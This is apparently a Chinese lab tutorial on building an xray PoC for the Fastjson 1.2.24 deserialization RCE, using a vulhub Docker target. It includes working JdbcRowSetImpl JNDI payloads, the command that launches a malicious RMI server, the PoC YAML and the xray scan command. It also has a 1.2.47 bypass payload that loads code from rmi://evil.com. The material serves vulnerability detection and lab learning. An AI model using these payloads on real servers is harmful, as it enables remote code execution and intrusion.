Fastjson-rce-xray-poc-编写

1.2.24-rce

cd /pentest/target/vulhub-master/fastjson/1.2.24-rce

参考资料

是什么

fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

靶机搭建

1
2
3
cd /pentest/target/vulhub-master/fastjson/1.2.24-rce

docker-compose up -d

image-20220526112947284

靶机是出网的

image-20220526111305582

这样就可以访问了:http://192.168.18.30:8090

恶意rmi服务器搭建

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping 子域名.ceye.io" -A "IP"

这个子域名可以到dnslog或者http://ceye.io/profile,里面有个Identifier:字段,xx.ceye.io就是要ping的子域名。

运行上面的命令,就会生成三个rmi的payload,保存一下,后续会用到

poc编写

poc:

1
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:1099/ysnwbf","autoCommit":true}}

修改xray:

C:\Users\Local\Documents\xray\pocs\Fastjson-1.2.24-rce-deserialization.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
name: poc-Fastjson-1.2.24-rce-deserialization
rules:
- method: POST
path:
headers:
Content-Type: application/json
body: >-
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"这里是你的rmi的payload","autoCommit":true}}
expression: |
response.status == 500 && response.body.bcontains(b"Internal Server Error")
detail:
author: whale3070
links:
- https:

执行xray,调用这个poc

xray webscan --url-file C:\\Users\\Local\\Documents\\xray\\new.txt --plugins phantasm --poc C:\Users\Local\Documents\xray\pocs\Fastjson-1.2.24-rce-deserialization.yml --html-output out.html

测试

在ceye的dnslog看到了回显,也就证明了命令执行ping xx.ceye.io执行成功了

以此类推,我们写出Fastjson-1.2.47-rce-deserialization.yml

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}

参考资料